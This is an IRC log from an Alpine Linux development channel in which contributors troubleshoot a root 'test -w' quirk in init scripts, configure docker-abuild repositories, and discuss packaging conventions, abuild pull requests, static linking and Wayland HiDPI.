2019-04-28 13:36:56 <SpaceToast> (or just use test(1p) directly in place of [] :) )
2019-04-28 13:39:17 <tcely> # /bin/sh -xc 'mkdir -p /tmp/sh-write-test && cd /tmp/sh-write-test && : >> f && chmod -v 00555 . f && [ ! -w "$PWD/f" ] && echo no file write && [ ! -w "$PWD" ] && echo no dir
2019-04-28 13:39:17 <tcely> write || echo failed'
2019-04-28 13:39:17 <tcely> + mkdir -p /tmp/sh-write-test
2019-04-28 13:39:17 <tcely> + cd /tmp/sh-write-test
2019-04-28 13:39:17 <tcely> + :
2019-04-28 13:39:18 <tcely> + chmod -v 00555 . f
2019-04-28 13:39:20 <tcely> mode of '.' changed to 0555 (r-xr-xr-x)
2019-04-28 13:39:23 <tcely> mode of 'f' changed to 0555 (r-xr-xr-x)
2019-04-28 13:39:27 <tcely> + '[' '!' -w /tmp/sh-write-test/f ]
2019-04-28 13:39:29 <tcely> + echo failed
2019-04-28 13:39:31 <tcely> failed
2019-04-28 13:41:42 <tcely> switching to test doesn't help either
2019-04-28 13:44:16 <SpaceToast> sounds like your system's broken then
2019-04-28 13:44:19 <SpaceToast> succeeds just fine on my end
2019-04-28 13:44:34 <tcely> it's broken when running as root
2019-04-28 13:44:45 <tcely> which is not helpful for init scripts using this kind of check
2019-04-28 13:44:57 <tcely> I see no write meesages when running as operator
2019-04-28 13:46:20 <SpaceToast> oh
2019-04-28 13:46:24 <SpaceToast> that's not surprising
2019-04-28 13:46:33 <SpaceToast> test -w is not looking at stat(3)
2019-04-28 13:46:42 <SpaceToast> it does something like open(file, 'w');
2019-04-28 13:46:51 <SpaceToast> root is ALWAYS allowed to write to files, even with 000 permissions
2019-04-28 13:47:29 <tcely> except for fs mounted ro
2019-04-28 13:47:35 <SpaceToast> well sure
2019-04-28 13:47:39 <SpaceToast> it's a test to see if you can write to something, not if some number says you're supposed to or not, basically
2019-04-28 13:48:45 <tcely> yeah, there's a difference of expectations here. whoever wrote this init script did not create the proper test
2019-04-28 13:50:28 <SpaceToast> admittedly, there isn't a straightforward way to test for permissions, that I recall
2019-04-28 13:50:49 <SpaceToast> I think you basically have to stat(1)?
2019-04-28 13:52:14 <tcely> yeah, that's the path I chose to look at next too
2019-04-28 13:53:59 <SpaceToast> what exactly is the check being made, though?
2019-04-28 13:54:14 <SpaceToast> because erm, it seems like a weird thing to be checking for in an initscript
2019-04-28 13:56:04 <tcely> if [ -d /sys/fs/cgroup -a ! -w /sys/fs/cgroup ]; then
2019-04-28 13:56:04 <tcely>                                         eerror "No permission to apply cgroup settings"
2019-04-28 13:56:42 <SpaceToast> erm
2019-04-28 13:56:48 <SpaceToast> is the author expecting non-root?
2019-04-28 13:57:14 <SpaceToast> you might find some of the openrc-run builtins useful
2019-04-28 13:57:20 <SpaceToast> see openrc-run(8)
2019-04-28 13:57:28 <SpaceToast> things like mountinfo and such :)
2019-04-28 13:58:01 <SpaceToast> you might also like to compare/contrast against current /etc/init.d/cgroups (though I don't like some large parts of it)
2019-04-28 13:59:07 <tcely> If the author is expecting openrc-init not running as root, I don't see how that could happen
2019-04-28 13:59:45 <SpaceToast> sysfs and co is typically not ro, and you could check for that with mountinfo (I think?)
2019-04-28 13:59:58 <SpaceToast> so that test only really makes sense if it's running as non-root
2019-04-28 14:00:04 <SpaceToast> which is, like you say, really weird :)
2019-04-28 14:04:41 <tcely> It's gratifying that someone else also thinks that is really weird. ;-)
2019-04-28 14:05:22 <SpaceToast> openrc isn't daemontools, you can't just use it to handle user-services!
2019-04-28 14:08:46 <telmich> SpaceToast: I fully agree with that. For us, we switched to "monit" from daemontools some time ago, which is a bit bigger, but easier to understand by (web-) developers
2019-04-28 14:09:54 <SpaceToast> I've done lots of stuff with runit
2019-04-28 14:10:11 <SpaceToast> and systemd actually defaults to daemontools-like emulation (Type=simple)
2019-04-28 14:10:22 <SpaceToast> monit looks quite a bit bigger, yeah
2019-04-28 14:11:45 <telmich> I was initially also quite sceptical. While I like the approach of most djb software, I also think the documentation / ways of using it are not necessarily appropriate anymore
2019-04-28 14:12:03 <telmich> For instance I love that log handling is included
2019-04-28 14:12:09 <telmich> But I hate the logformat
2019-04-28 14:12:25 <telmich> </5 minutes of rant>
2019-04-28 14:12:43 <SpaceToast> oh daemontools is a family at this point
2019-04-28 14:12:51 <SpaceToast> you also have runit, s6, supervisord, etc in it
2019-04-28 14:13:09 <SpaceToast> and the log format changes :) the main issue is they have trouble handling forceful doublefork
2019-04-28 14:13:10 <telmich> Yes... but to be fair, daemontools is *much* older than most of them
2019-04-28 14:13:48 <telmich> forceful doublefork - can you give me a pointer on who does that why?
2019-04-28 14:14:24 <SpaceToast> a lot of sql engines do, like mysql
2019-04-28 14:14:29 <SpaceToast> . . . because they feel like it, or something
2019-04-28 14:14:37 <telmich> I know the usual daemonising / fork problems, is that one different?
2019-04-28 14:14:52 <telmich> i.e. it is really fork() -> fork() ?
2019-04-28 14:15:32 <SpaceToast> fork() -> the child does fork() and immediately exits -> the secondary child does stuff
2019-04-28 14:15:53 <SpaceToast> what this does is it breaks the parent-child relationship (the thing that daemontools is based on!) and reassigns the final child to pid1
2019-04-28 14:16:33 <telmich> That sounds like really strange design, wasn't aware that anyone went down a more-than-regular-crazy path
2019-04-28 14:17:14 <SpaceToast> well it's a "I'm a daemon!" thing
2019-04-28 14:17:29 <SpaceToast> who knows what terminal spawned you? it might get closed!
2019-04-28 14:17:31 <SpaceToast> pid1 won't get closed
2019-04-28 14:22:04 <Cogitri> Since I don't know OpenRC well - does the CGroups functionality of it sort of fix that? (by making sure all children are killed after the service has been stopped)
2019-04-28 14:22:49 <SpaceToast> key word: children
2019-04-28 14:22:58 <SpaceToast> iirc you very much have to just use pidfiles
2019-04-28 14:23:11 <SpaceToast> but that's the default mode of operation for openrc, so that's fine
2019-04-28 14:23:47 <Cogitri> Well, I wouldn't exactly call pidfiles "fine" :P
2019-04-28 14:24:56 <SpaceToast> ¯\_(ツ)_/¯
2019-04-28 14:25:00 <SpaceToast> it's the whole point of s-s-d
2019-04-28 14:25:08 <SpaceToast> which is the default mode of operation for openrc
2019-04-28 14:25:25 <SpaceToast> we do have supervisor-daemon now though, which is (mediocre) daemontools emulation
2019-04-28 14:25:35 <Cogitri> Maybe once https://lwn.net/Articles/773459/ lands they're better
2019-04-28 14:26:00 <Cogitri> But inits with actual supervising (s6-rc/66/runit) seem more interesting to me
2019-04-28 14:26:11 <Cogitri> (OpenRC does its job for me right now though)
2019-04-28 14:29:10 <mps> (about 15 years ago I made debian read-only root FS for ipsec routers with runit as init 1)
2019-04-28 14:29:50 <mps> I was pleased to see that void uses it
2019-04-28 14:30:49 <Cogitri> runit's nice, but also dead (or a finished project). s6-rc seems really, really cool, but also is kinda hard to use :c
2019-04-28 14:30:54 <Cogitri> I hope 66 becomes really good
2019-04-28 14:31:23 <mps> and, no, I don't promote runit here
2019-04-28 14:32:02 <mps> you s6 and not 66, yes it looks better and author is sometimes here
2019-04-28 14:32:29 <mps> s/you /you mean/
2019-04-28 14:32:29 <alpine-meetbot> mps meant to say: you means6 and not 66, yes it looks better and author is sometimes here
2019-04-28 14:32:58 <mps> uhh
2019-04-28 14:33:20 <SpaceToast> runit is a finished project, mostly
2019-04-28 14:33:38 <Cogitri> mps: I mean 66: http://web.obarun.org/software/
2019-04-28 14:33:42 <SpaceToast> I keep wanting to look into s6, but I'm doing so many other things that I don't seem to find the time to properly grok it, given that it's low on the priority list (since I already grok runit)
2019-04-28 14:34:39 <Cogitri> For something completely unrelated: Where can I see the buildstatus for Alpine's packages?
2019-04-28 14:35:00 <Cogitri> Void has https://build.voidlinux.org/waterfall which is kinda nice
2019-04-28 14:35:01 <SpaceToast> I don't think you can see the build status for individual packages very easily
2019-04-28 14:35:07 <SpaceToast> but you can see the status of the builders: https://build.alpinelinux.org/
2019-04-28 14:35:36 <Cogitri> Okie, thanks
2019-04-28 14:36:28 <mps> Cogitri: didn't know for 66, interesting
2019-04-28 14:57:22 <tcely> Here is your periodic reminder about pr6265 and pr6890
2019-04-28 16:03:46 <otlabs> hi ppl
2019-04-28 16:04:30 <otlabs> i have a lot of fun with docker-abuild! thanks to author and contributor! just pulled fresh changes to script
2019-04-28 16:05:45 <otlabs> i have a feeling that only main official repo is enabled by default. am i right? how could i enable community and testing?
2019-04-28 16:08:04 <Cogitri> See /etc/apk/repositories
2019-04-28 16:08:40 <otlabs> sorry, i have no idea how to jump into container without running abuild
2019-04-28 16:08:56 <otlabs> a tip would be highly appreciated
2019-04-28 16:09:19 <Cogitri> Ahh, you mean in the container, got it
2019-04-28 16:09:32 <otlabs> yes, in docker-abuild
2019-04-28 16:09:54 <Cogitri> I just bind mount my /etc/apk/repositories into the container via the ABUILD_VOLUMES variable in dabuild
2019-04-28 16:10:09 <otlabs> doh
2019-04-28 16:10:10 <Cogitri> That way I not only have those repositories enabled but also have the right mirror :)
2019-04-28 16:10:11 <otlabs> ok
2019-04-28 16:10:36 <Cogitri> I also bind mount the apk-cache stuff into the container, it's super slow otherwise with my connection
2019-04-28 16:11:06 <otlabs> ok, i see, thanks!
2019-04-28 16:11:34 <otlabs> i would prefer something to change/edit in docker-abuild original scripts
2019-04-28 16:12:04 <Cogitri> Uh?
2019-04-28 16:12:24 <otlabs> i run docker-abuild on macOS and i am afraid to completely mess things up with incorrect volume mapping
2019-04-28 16:13:23 <otlabs> i would prefere to add some lines in Dockerfile.in, https://github.com/mor1/docker-abuild/blob/master/Dockerfile.in, to enable/disable specific mirrors and/or repositories
2019-04-28 16:14:06 <otlabs> i can pick up a specific mirror with setup-apkmirror
2019-04-28 16:14:15 <Cogitri> Ah
2019-04-28 16:14:28 <otlabs> but it do not provide any interface to enable/disable specific repositories
2019-04-28 16:14:57 <Cogitri> Well, you could put a `repositories` file into the directory where the Dockefile is and then COPY that into the image
2019-04-28 16:15:21 <otlabs> cool
2019-04-28 16:15:23 <otlabs> thanks
2019-04-28 16:15:31 <otlabs> that would be a solution
2019-04-28 16:57:38 <north1> https://bugs.alpinelinux.org/issues/10355 should be set to resolved
2019-04-28 16:58:28 <_ikke_> Done
2019-04-28 16:58:51 <north1> thank you
2019-04-28 17:38:14 <tcely> otlabs: You can override the entrypoint / cmd in docker from the run command line. docker run --it --entrypoint /bin/sh IMG:TAG
2019-04-28 17:38:59 <tcely> Also, if you clone that repo, you can make changes to the Dockerfile.in and run make to build new images
2019-04-28 17:45:28 <otlabs> tcely: thank you! now i have a possibility to inspect the content of the container
2019-04-28 17:46:08 <tcely> otlabs: It's worth looking into docker history/commit/exec commands too
2019-04-28 17:46:23 <otlabs> i have already added support for repo selection with setup-apk repos
2019-04-28 17:47:18 <otlabs> in Dockerfile.in
2019-04-28 17:47:46 <otlabs> now i need to implement how to enable community and especially testing repos
2019-04-28 17:48:14 <otlabs> maybe i will just copy apepared file as Cogitri kindly suggested
2019-04-28 17:48:26 <otlabs> maybe i will use `sed`
2019-04-28 17:56:39 <LucasRamage[m]> A new version of bash-completion was just released, and in order to successfully pass the test suite, requires me to add a brand new package, pexpect, (See: https://github.com/scop/bash-completion/issues/235). So if I add this package, would it be okay for a package in main to rely on a package in testing? Or should I put it directly in main?
2019-04-28 17:57:57 <Cogitri> You kind of have to put it in main, stuff in main can't depend on stuff in testing
2019-04-28 18:07:27 <LucasRamage[m]> Thanks, I kind of figured, but I didn't know if it was okay to push a package straight into main. I'll send my patches to the mailing list soon
2019-04-28 19:34:25 <yjftsjthsd> Right now, the package i3status is available in edge, but no stable release. Is this because it has no maintainer? It's not exactly a high-churn package (like 1 release/year) so I assume there's minimal actual concern about stability.
2019-04-28 19:36:07 <_ikke_> yjftsjthsd: it's still in testing, so unless someone promotes it to community (and wants to maintain it), it won't make it to any release
2019-04-28 19:37:50 <yjftsjthsd> What does it take to go from testing to community? And if I were willing to maintain it, what would that take?
2019-04-28 19:38:26 <yjftsjthsd> If it's just "keep on top of new releases and help troubleshoot as needed" I can do that
2019-04-28 19:40:33 <north1> How do i have a mainpkg that is noarch but a subpackage that is not ?
2019-04-28 19:41:49 <_ikke_> yjftsjthsd: yes, mostly that
2019-04-28 19:42:02 <_ikke_> north1: you can't
2019-04-28 19:42:12 <_ikke_> just leave the main package as all
2019-04-28 19:42:17 <_ikke_> and ignore the warning from abuild
2019-04-28 19:42:26 <north1> _ikke_: ok
2019-04-28 19:44:35 <yjftsjthsd> Okay, where/how do I sign up to be a maintainer? I didn't see that discussed in the wiki. Mailing list?
2019-04-28 19:44:56 <SpaceToast> you submit a patch where you adopt the package (i.e change the Maintainer: line to be yourself)
2019-04-28 19:45:04 <SpaceToast> or just submitting the new package in general
2019-04-28 19:45:24 <_ikke_> Yes, a PR to adopt the package is all it takes
2019-04-28 19:46:09 <kr0k0> Hi guys
2019-04-28 19:46:46 <yjftsjthsd> Sweet
2019-04-28 19:47:02 <Cogitri> kr0k0: Hey
2019-04-28 19:47:28 <kr0k0> Is there an easy way to let cloud.drone.io build a package from my fork in GitHub, before making a pr?
2019-04-28 19:47:50 <foldedcascode> with bootstrap.sh, what does it mean to see an "unsatisfiable constraints" error with "build-base-<TARGET> (missing)"?
2019-04-28 19:47:53 <kr0k0> Cogitri: Hi
2019-04-28 19:50:47 <kr0k0> Do you mean from aports/scripts?
2019-04-28 19:50:52 <foldedcascode> yup
2019-04-28 19:51:41 <foldedcascode> been messing around with it, after reordering to get past more straightforward dependency problems it now fails with that error on go-bootstrap
2019-04-28 19:52:01 <foldedcascode> this is x86_64 -> armv7
2019-04-28 19:52:43 <foldedcascode> idc about crossing go-bootstrap really but i was hoping to understand better why this fails in this way
2019-04-28 20:07:41 <foldedcascode> (btw, in order to make it to where i failed out you gotta move ncurses to before openssh, then add libedit directly after ncurses)
2019-04-28 20:12:02 <north1> https://github.com/alpinelinux/aports/pull/7259 is required for the new mesa-19.x.x PR
2019-04-28 21:12:12 <TML> tcely: I don't see how to respond to your review/requested changes, so just telling you here: I've squashed those commits for https://github.com/alpinelinux/aports/pull/7357
2019-04-28 21:16:21 <tcely> TML: You could also mention me on GH. Either way works.
2019-04-28 21:17:23 <TML> tcely: gotcha
2019-04-28 21:18:08 <TML> If I am making a new aport that depends on libde265 both at build-time and runtime, do I need to specify it in both "depends" and "makedepends", or is there a way to only mention it once?
2019-04-28 21:18:58 <tcely> Try it in makedepends first. There is a small chance the runtime deps will be automatically detected.
2019-04-28 21:20:08 <north1> TML: makedepends, if the package links to the library it will be found via so:
2019-04-28 21:21:22 <tcely> Cogitri: I read your question on cargo-static. I don't understand what you are asking.
2019-04-28 21:21:31 <TML> north1: Thanks
2019-04-28 21:22:29 <TML> another question - if the software never has been provided with a "release", what should I use as pkgver? I took a guess at 0.0.1, just wondering whether there's a more acceptable rule.
2019-04-28 21:23:05 <north1> 0.0.0_git$(date) i think, it is on the wiki last time i remember
2019-04-28 21:23:28 <mps> TML: does it have git/svn tag
2019-04-28 21:23:35 <tcely> I remember seeing 0_$(date) recommended somewhere before too
2019-04-28 21:23:46 <TML> no tag
2019-04-28 21:23:49 <TML> https://github.com/ImageMagick/libheif
2019-04-28 21:24:29 <mps> then, commit id, shortened ofc
2019-04-28 21:24:35 <SpaceToast> "Updated libheif to 1.4.0."
2019-04-28 21:24:35 <TML> thanks
2019-04-28 21:24:42 <SpaceToast> looks like they just forgot tags exist
2019-04-28 21:24:57 <TML> SpaceToast: and releases
2019-04-28 21:25:02 <SpaceToast> aye
2019-04-28 21:25:03 <TML> in the Github sense
2019-04-28 21:25:11 <SpaceToast> still, looks like they do have versions
2019-04-28 21:25:22 <mps> TML: there are some APKBUILD's with git commit id, look there for examples
2019-04-28 21:26:27 <mps> but date sounds cleaner to me, when I think a little
2019-04-28 21:27:07 <mps> problem could arise if they make release later with proper version
2019-04-28 21:28:22 <PureTryOut[m]> At postmarketOS we use `0_git<year><month><day>`
2019-04-28 21:28:44 <mps> after thinking a little I conclude that I don't have any good idea what to do
2019-04-28 21:29:06 <north1> on Void we recommend 0.0.0$(date) but we mostly tell people to go annoy upstream for a tarball release
2019-04-28 21:29:17 <PureTryOut[m]> Using this method you can just set version to anything higher than 0 once there is a proper release, and it will be considered as a higher version
2019-04-28 21:29:30 <PureTryOut[m]> Getting upstream to make a proper release is of course the best
2019-04-28 21:29:46 <Cogitri> tcely: So we currently have cargo-bootstrap 1.31.1-r2 in the repos. Will replacing it with cargo-bootstrap 0.32.0-r0 work?
2019-04-28 21:30:05 <tcely> What is your definition of working?
2019-04-28 21:30:19 <tcely> If you expect the older version to be selected, then no.
2019-04-28 21:30:55 <tcely> The whole 1.32 / 0.32 versioning for rust / cargo is confusing
2019-04-28 21:31:43 <Cogitri> Well, will cargo-bootstrap-1.31.1-r2 be purged from the repos once rust has been rebuilt without it bolted onto cargo via `provides`?
2019-04-28 21:32:11 <tcely> I believe so
2019-04-28 21:32:25 <Cogitri> tcely: Well, a the former is a rust version, the latter the cargo version but upstream mixes that up all the time too
2019-04-28 21:32:28 <tcely> I don't think we keep previous versions around, but I don't know for sure.
2019-04-28 21:32:45 <Cogitri> Alright, so I'll just bump the pkgrel of rust and hope for the best? :P
2019-04-28 21:33:16 <tcely> Yes, but for the short term why does it matter which cargo-bootstrap is selected?
2019-04-28 21:33:59 <Cogitri> It doesn't matter much until a new libgit2/libcurl/openssl comes around
2019-04-28 21:34:34 <tcely> speaking of that did you want to remove libgit2-0.27 in your PR too?
2019-04-28 21:34:35 <Cogitri> The new cargo-bootstrap is built with those libs statically linked so rebuilding rust isn't such a pain when the soname of those libs has been bumped
2019-04-28 21:34:49 <Cogitri> I'll do that once Rust has been rebuilt
2019-04-28 21:35:01 <tcely> that's a fair plan
2019-04-28 21:35:37 <SpaceToast> yay, static linking :)
2019-04-28 21:35:51 <Cogitri> Heh
2019-04-28 21:36:24 <north1> SpaceToast: well if we are using musl might as well make use of it whenever convenient
2019-04-28 21:36:42 <SpaceToast> north1: I'm personally of the opinion that static linking makes sense in *most* cases
2019-04-28 21:37:04 <SpaceToast> but we're also a binary distribution, which means that in a lot of cases, we benefit from using dynamic linking
2019-04-28 21:37:21 <SpaceToast> (i.e security updates can be done in a more isolated way, which makes people running releases happier)
2019-04-28 21:37:48 <SpaceToast> I do want to eventually try and get -static subpackages for most libraries, at least, though, but right now I'm focused on a lot of other things :(
2019-04-28 21:40:03 <north1> SpaceToast: Then this might be of interest https://github.com/alpinelinux/abuild/pull/66
2019-04-28 21:40:32 <SpaceToast> oh, nice! ncopa was planning to do something like that but looks like you beat him to the punch :)
2019-04-28 21:40:34 <SpaceToast> let me take a look
2019-04-28 21:43:53 <SpaceToast> hmm, is_x_package is inconsistent in abuild, but looks like it's been that way for a bit, I'll go over it myself later
2019-04-28 21:47:24 <north1> SpaceToast: i can go over it, am fixing some stuff on the PR
2019-04-28 21:47:54 <SpaceToast> do you want me to write a whole review, or can I just say what I find a bit weird in /query (or in here)?
2019-04-28 21:48:18 <north1> Please write there
2019-04-28 21:48:59 <north1> IRC has conversations from different topics and i tend to lose track
2019-04-28 22:04:39 <north1> SpaceToast: Applied the fixes proposed
2019-04-28 22:04:59 <SpaceToast> ok, let me re-check
2019-04-28 22:07:28 <north1> pushed a last minute fix
2019-04-28 22:09:00 <north1> when i say that i mean 4 last minute fixes in a span of 30 seconds
2019-04-28 22:13:33 <SpaceToast> many many updates :)
2019-04-28 22:13:42 <SpaceToast> keeping up gets hard when you type the same thing over and over again
2019-04-28 22:31:09 <SpaceToast> north1: anything on that last comment?
2019-04-28 22:31:17 <SpaceToast> I think that's about all I can see
2019-04-28 22:31:34 <north1> SpaceToast: nah, got sidetracked talking to my parents that are in another contnent
2019-04-28 22:31:42 <SpaceToast> ah, nw :)
2019-04-28 22:31:50 <north1> also going out to fetch a friend on the bus station so i just pushed a fix for the $name should be $subpkgname thing and that is all
2019-04-28 22:32:04 <north1> also made this https://github.com/alpinelinux/abuild/pull/67
2019-04-28 22:32:23 <SpaceToast> alright, LGTM
2019-04-28 22:32:30 <SpaceToast> let me check that other one then
2019-04-28 22:33:51 <tcely> if we're auding abuild functions, can we move them out of abuild.in and into functions.sh ?
2019-04-28 22:34:01 <tcely> s/auding/auditing/
2019-04-28 22:34:01 <alpine-meetbot> tcely meant to say: if we're auditing abuild functions, can we move them out of abuild.in and into functions.sh ?
2019-04-28 22:35:39 <SpaceToast> tcely: I'm auditing a specific PR in particular :)
2019-04-28 22:35:59 <SpaceToast> I don't really care about that part (though I wouldn't be against it either), but it should probably be done separately/elsewhere
2019-04-28 22:36:34 <tcely> Yes, it's very low on my list too. I want my gpgfingerprints feature as soon as I can get it.
2019-04-28 22:37:50 <tcely> Having curl actualy check certs would be good too for abuild-fetch
2019-04-28 22:38:48 <tcely> More reviews / testing is welcome for https://github.com/alpinelinux/abuild/pull/57
2019-04-28 22:40:28 <SpaceToast> hm
2019-04-28 22:40:55 <SpaceToast> I personally would prefer that the devs signed the checksum and that the maintainer checked it on bump
2019-04-28 22:41:02 <SpaceToast> but that's unlikely etc etc
2019-04-28 22:41:22 <SpaceToast> anyway I don't personally care about that part myself
2019-04-28 22:44:48 <tcely> 
ACTION can't wait for signature verification to be in the build logs

2019-04-28 23:19:28 <yjftsjthsd> Yeah, it'd be nice to maintain good support for static; it's a right pain on some distros when you *want* to build a program statically, and you have to fight the system every step of the way
2019-04-28 23:20:34 <SpaceToast> ^
2019-04-28 23:20:57 <SpaceToast> musl is very well suited for building nice and small binaries (for various purposes), and it'd be nice if alpine made it easier to do :)
2019-04-28 23:23:53 <north1> yjftsjthsd: I think it is impossible under glibc
2019-04-28 23:24:18 <SpaceToast> you can build semi-statically under glibc; it'll force dynamic loading for dns resolution though
2019-04-28 23:29:38 <mps> crystal developers build static only on Alpine
2019-04-28 23:32:26 <yjftsjthsd> Yeah, depends what you want to do exactly. I'm *told* you can build static with glibc other than, as SpaceToast notes, name resolution. ...but I've *tried* to do it, and never got it to work
2019-04-28 23:33:07 <yjftsjthsd> To be fair, that was as much a distro issue as glibc; when nothing ships .a files, you basically have to build everything yourself anyways
2019-04-28 23:34:40 <yjftsjthsd> So honestly, if I needed to build a program statically, I'd probably try to build it on Alpine or Void and then ship the resulting binary elsewhere:)
2019-04-28 23:35:27 <north1> yjftsjthsd: Void almost always removes static libraries
2019-04-28 23:35:38 <north1> But if you make an issue they can add an static library
2019-04-28 23:35:52 <north1> libX11 was one for people that wanted static dwm
2019-04-28 23:36:31 <SpaceToast> yeah, as mentioned, it'd be nice if .as were available (even if not installed by default or anything) so you could build static binaries (whether for shipping elsewhere or local usage) :)
2019-04-28 23:36:49 <tcely> +1
2019-04-28 23:36:55 <north1> Void ships them on -devel
2019-04-28 23:37:12 <SpaceToast> lots of newish projects like to ship binaries until packaging starts elsewhere and you'd probably want to make those static-musl
2019-04-28 23:37:55 <SpaceToast> north1: anything on pr67? I wonder how easy the "the contributor can press a single button to incorporate the suggestion!" thing is, relative to how it's touted too
2019-04-28 23:38:33 <SpaceToast> not... quite that one though
2019-04-28 23:38:47 <north1> SpaceToast: I never tried because it always appeared as add new commit
2019-04-28 23:38:54 <north1> I just take the suggestion and amend and push
2019-04-28 23:39:03 <SpaceToast> mhm
2019-04-28 23:39:15 <north1> So yeah, never tried it
2019-04-28 23:39:18 <SpaceToast> anyway, as of right now I think it's broken, since $name shouldn't be up to date
2019-04-28 23:39:39 <north1> I think I pushed it to use subpkgname
2019-04-28 23:39:56 <north1> Or I forgot to push since I left home in a rush
2019-04-28 23:39:56 <SpaceToast> you definitely haven't pushed it :)
2019-04-28 23:40:07 <SpaceToast> anyway as long as it's done and gets pushed later it's fine
2019-04-28 23:40:23 <SpaceToast> I'd just like to get the approved-reviewed-state in before ncopa wakes up so he doesn't have to worry about details like that
2019-04-28 23:40:30 <north1> Or I pushed without amending the commit
2019-04-28 23:40:48 <SpaceToast> the pr doesn't see anything
2019-04-28 23:41:07 <north1> Yes
2019-04-28 23:43:08 <north1> Am waiting for friend to finish eating his cookie so I can go home and push that
2019-04-28 23:49:18 <yjftsjthsd> You could always do it from your phone if you used Termux;)
2019-04-28 23:49:44 <yjftsjthsd> (the trick is to make your addiction to technology portable so you never have to be without)
2019-04-28 23:56:31 <north1> yjftsjthsd: I hate typing on phones, maybe when i buy a bluetooth keyboard
2019-04-28 23:57:16 <yjftsjthsd> yeah, that's fair
2019-04-28 23:57:38 <north1> pushed the fix SpaceToast
2019-04-28 23:58:10 <SpaceToast> alright, looks good!
2019-04-28 23:58:14 <SpaceToast> let's see what ncopa thinks
2019-04-29 00:00:06 <north1> What is the process for removing packages ?
2019-04-29 00:00:13 <north1> I got a PR that just straight up deletes some templates
2019-04-29 00:12:47 <SpaceToast> you just send a patch with full -
2019-04-29 00:12:50 <SpaceToast> afaik
2019-04-29 00:13:17 <north1> https://github.com/alpinelinux/aports/pull/7420 :D sounds good then
2019-04-29 00:16:32 <tcely> heh. I thought that was familiar.
2019-04-29 00:18:45 <tcely> north1: as an FYI sometime packages are move to unmaintained rather than just removed, but I've seen it both ways, so *shrug*
2019-04-29 00:19:51 <otlabs> tcely: thank you for checking pr! i fixed it as it was suggested.
2019-04-29 00:20:36 <north1> tcely: They are gnome stuff that was deprecated on the switch from GNOME 2 to GNOME 3 so most distros don't have it or just have it in places like the AUR
2019-04-29 00:22:33 <tcely> otlabs: You're welcome.
2019-04-29 00:22:38 <tcely> north1: what is AUR?
2019-04-29 00:22:53 <north1> tcely: Arch User Repositories
2019-04-29 01:03:13 <north1> That place where anything gets in
2019-04-29 01:44:49 <tcely> It's time for someone else to review. My own PRs are at the top of the queue ;-)
2019-04-29 01:45:29 <SpaceToast> 
ACTION sighs

2019-04-29 01:45:33 <SpaceToast> wayland is still a mess with hidpi :(
2019-04-29 01:45:39 <SpaceToast> got it sorta working I think?
2019-04-29 01:45:52 <SpaceToast> the issue is that my optimal dpi scaling is 1.4-1.5
2019-04-29 01:45:56 <north1> cogitri: has had good results with GNOME wayland and hidpi
2019-04-29 01:45:59 <SpaceToast> and wayland is still stuck on integer
2019-04-29 02:25:45 <yjftsjthsd> .... I thought hdpi was one of the things wayland was supposed to be good for!? That and security model
2019-04-29 02:28:06 <otlabs> time to go, good night, and thanks for all help
2019-04-29 04:55:15 <Cogitri> SpaceToast: It's not that Wayland is stuck on integer scaling, it's that in most compositors fractional scaling is either not implemented or marked as experimental
2019-04-29 04:56:37 <Cogitri> And HiDPI works really well for me on GNOME, I have one 1.0 scaling screen (3440x1440) and one 2.0 scaling screen (4k)  and even that works very well
2019-04-29 04:57:08 <Cogitri> (Well, for most stuff, e.g. Java stuff doesn't seem to work with that and just picks up the 200% scaling)
2019-04-29 08:55:37 <_ikke_> north1: Is there a reason why you are closing your PRs?
2019-04-29 08:56:10 <north1> _ikke_: which? I close for various reasons
2019-04-29 08:56:23 <_ikke_> PR7245
2019-04-29 08:56:42 <_ikke_> PR7309
2019-04-29 08:57:31 <north1> The first one iirc was agreed someone would send a proper patch to patchwork
2019-04-29 08:57:40 <north1> Don't remember who right now
2019-04-29 08:57:47 <north1> Proper patch == the changes in the PR included
2019-04-29 08:58:15 <north1> The second one was a mistake I managed to nuke my sports tree by mistake
2019-04-29 09:00:01 <_ikke_> opal sent a patch to the mailing list regarding dunst
2019-04-29 09:00:12 <_ikke_> But they didn't mind if we would use the github PR
2019-04-29 09:03:22 <north1> Ok
2019-04-29 09:03:24 <north1> filled new PRs
2019-04-29 09:50:41 <tcely> north1: What's the CI problem with the dunst PR ?
2019-04-29 09:51:41 <north1> tcely: requires changes in gdk-pixbuf but they are in the same PR and it tries to build dunst before gdk-pixbuf so it uses the old gdk-pixbuf that doesn't have the changes required.
2019-04-29 09:53:02 <tcely> north1: It's not ordering, you hit https://github.com/alpinelinux/abuild/pull/53 again.
2019-04-29 09:53:49 <tcely> community is depending on a package from main, so it's not working for you because it's using the main in the mirrors not the on on the builder
2019-04-29 09:54:01 <tcely> s/on on/one on/
2019-04-29 09:54:01 <alpine-meetbot> tcely meant to say: community is depending on a package from main, so it's not working for you because it's using the main in the mirrors not the one on the builder
2019-04-29 10:17:21 <ncopa> hi
2019-04-29 10:17:50 <ncopa> looks like lots of things happened over the weekend, and too much for me to catch up on...
2019-04-29 10:17:56 <Cogitri> Hey
2019-04-29 10:18:13 <ncopa> re polkit and JS vs lua: https://bugs.freedesktop.org/show_bug.cgi?id=60122
2019-04-29 10:18:22 <Cogitri> Heh, the PR pipeline certainly is stuffed
2019-04-29 10:18:42 <ncopa> i havent dare to open it yet :)
2019-04-29 10:19:00 <ncopa> 277 prs...
2019-04-29 10:19:10 <tcely> ncopa: some focus on a new version of abuild would be very nice if you want to keep ignoring aports ;-)
2019-04-29 10:21:31 <Cogitri> That'd be nice indeed
2019-04-29 10:23:26 <_ikke_> Isn't fabled doing most of the work on abuild?
2019-04-29 10:25:30 <mps> ncopa: this proposal of lua for polkit looks good (imo) but I suspect it will be implemented soon, if at all
2019-04-29 10:26:39 <Cogitri> Considering that the bugreport is from 2013 and upstream said that it's not a good idea I doubt it'll be done
2019-04-29 10:27:44 <Cogitri> But you'd need JS support anyway to parse existing rules (or rewrite all of them)
2019-04-29 10:29:12 <mps> Cogitri: iiuc, gnome can't work without polkit?
2019-04-29 10:30:07 <Cogitri> No
2019-04-29 10:30:43 <Cogitri> I think most DEs need it though
2019-04-29 10:31:18 <mps> xfce works, ime
2019-04-29 10:33:04 <Cogitri> Oh, shutdown and so on also works?
2019-04-29 10:33:31 <mps> yes
2019-04-29 10:33:32 <Cogitri> GNOME also works without polkit, but then rebooting and so on won't work
2019-04-29 10:33:46 <Cogitri> And also some stuff like opening root owned files doesn't
2019-04-29 10:34:46 <mps> couldn't check shutdown right now, will do later
2019-04-29 10:37:55 <tcely> ncopa: What part of your workflow involves copying URLs from APKBUILD source lines?
